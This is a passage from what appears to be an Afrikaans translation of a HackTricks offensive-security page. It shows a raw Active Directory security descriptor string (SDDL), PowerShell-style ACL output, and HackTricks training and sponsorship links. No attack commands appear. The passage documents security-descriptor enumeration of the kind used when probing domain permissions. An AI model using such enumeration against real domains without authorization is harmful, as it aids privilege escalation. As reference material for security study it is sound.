317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Eienaar            : BUILTIN\Administrators
Groep            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.

</details>